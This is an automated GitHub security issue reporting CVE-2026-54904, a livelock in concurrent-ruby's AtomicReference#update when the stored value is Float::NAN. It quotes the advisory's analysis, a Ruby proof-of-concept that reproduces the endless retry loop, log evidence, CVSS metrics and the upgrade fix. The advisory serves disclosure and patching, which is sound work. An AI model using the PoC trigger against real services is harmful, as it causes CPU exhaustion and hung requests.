Skip to content

CVE-2026-54904 (High) detected in concurrent-ruby-1.3.5.gem #288

Description

@mend-bolt-for-github

CVE-2026-54904 - High Severity Vulnerability

Vulnerable Library - concurrent-ruby-1.3.5.gem

Modern concurrency tools including agents, futures, promises, thread pools, actors, supervisors, and more. Inspired by Erlang, Clojure, Go, JavaScript, actors, and classic concurrency patterns.

Library home page: https://rubygems.org/gems/concurrent-ruby-1.3.5.gem

Path to dependency file: /Gemfile.lock

Path to vulnerable library: /vendor/cache/concurrent-ruby-1.3.5.gem

Dependency Hierarchy:

  • manageiq-style-1.3.3.gem (Root Library)
    • more_core_extensions-4.5.1.gem
      • activesupport-8.0.2.gem
        • concurrent-ruby-1.3.5.gem (Vulnerable Library)

Found in base branch: master

Vulnerability Details

Summary "Concurrent::AtomicReference#update" can enter a permanent busy retry loop when the current value is "Float::NAN". The issue is caused by the interaction between: - "AtomicReference#update", which retries until "compare_and_set(old_value, new_value)" succeeds. - Numeric "compare_and_set", which checks "old == old_value" before attempting the underlying atomic swap. - Ruby NaN semantics, where "Float::NAN == Float::NAN" is always "false". As a result, once an "AtomicReference" contains "Float::NAN", calling "#update" repeatedly evaluates the caller's block and never returns. In services that store externally derived numeric values in an "AtomicReference", this can cause CPU exhaustion or permanent request/job hangs. Version Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab Details "AtomicReference#update" retries until "compare_and_set" returns true: def update true until compare_and_set(old_value = get, new_value = yield(old_value)) new_value end For numeric expected values, "compare_and_set" uses numeric equality before attempting the underlying atomic compare-and-set: def compare_and_set(old_value, new_value) if old_value.kind_of? Numeric while true old = get return false unless old.kind_of? Numeric return false unless old == old_value result = _compare_and_set(old, new_value) return result if result end else _compare_and_set(old_value, new_value) end end When the stored value is "Float::NAN", "old_value = get" returns NaN. The later comparison "old == old_value" is false because NaN is not equal to itself. "compare_and_set" therefore returns false every time. "AtomicReference#update" treats that as a failed concurrent update and retries forever. This is reachable through the public "Concurrent::AtomicReference" API and does not require native extensions or undefined behavior. PoC #!/usr/bin/env ruby frozen_string_literal: true require 'concurrent/atomic/atomic_reference' require 'concurrent/version' puts "ruby=#{RUBY_DESCRIPTION}" puts "concurrent_ruby_version=#{Concurrent::VERSION}" puts "poc=AtomicReference#update livelock when current value is Float::NAN" ref = Concurrent::AtomicReference.new(Float::NAN) attempts = 0 finished = false worker = Thread.new do ref.update do |_old_value| attempts += 1 0.0 end finished = true end sleep 0.25 puts "nan_update_attempts_after_250ms=#{attempts}" puts "nan_update_finished=#{finished}" puts "nan_update_worker_alive=#{worker.alive?}" if worker.alive? && !finished && attempts > 1000 puts 'result=REPRODUCED busy retry loop; update did not complete' else puts 'result=NOT_REPRODUCED' end worker.kill worker.join control = Concurrent::AtomicReference.new(1.0) control_attempts = 0 control_result = control.update do |old_value| control_attempts += 1 old_value + 1.0 end puts "control_update_result=#{control_result.inspect}" puts "control_update_attempts=#{control_attempts}" puts "control_update_final_value=#{control.value.inspect}" Log evidence ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25] concurrent_ruby_version=1.3.6 poc=AtomicReference#update livelock when current value is Float::NAN nan_update_attempts_after_250ms=1926016 nan_update_finished=false nan_update_worker_alive=true result=REPRODUCED busy retry loop; update did not complete control_update_result=2.0 control_update_attempts=1 control_update_final_value=2.0 Impact This is an application-level denial of service issue. If an application stores externally derived numeric data in a "Concurrent::AtomicReference", an attacker or faulty upstream data source may be able to cause the stored value to become "Float::NAN". Any later call to "AtomicReference#update" on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU. Credit Pranjali Thakur - depthfirst ("depthfirst.com" (http://depthfirst.com))

Publish Date: 2026-06-19

URL: CVE-2026-54904

CVSS 3 Score Details (7.5)

Base Score Metrics:

  • Exploitability Metrics:
    • Attack Vector: Network
    • Attack Complexity: Low
    • Privileges Required: None
    • User Interaction: None
    • Scope: Unchanged
  • Impact Metrics:
    • Confidentiality Impact: None
    • Integrity Impact: None
    • Availability Impact: High

For more information on CVSS3 Scores, click here.

Suggested Fix

Type: Upgrade version

Origin: GHSA-h8w8-99g7-qmvj

Release Date: 2026-06-19

Fix Resolution: concurrent-ruby - 1.3.7


Step up your Open Source Security Game with Mend here

Metadata

Metadata

Assignees

No one assigned

    Type

    No type
    No fields configured for issues without a type.

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions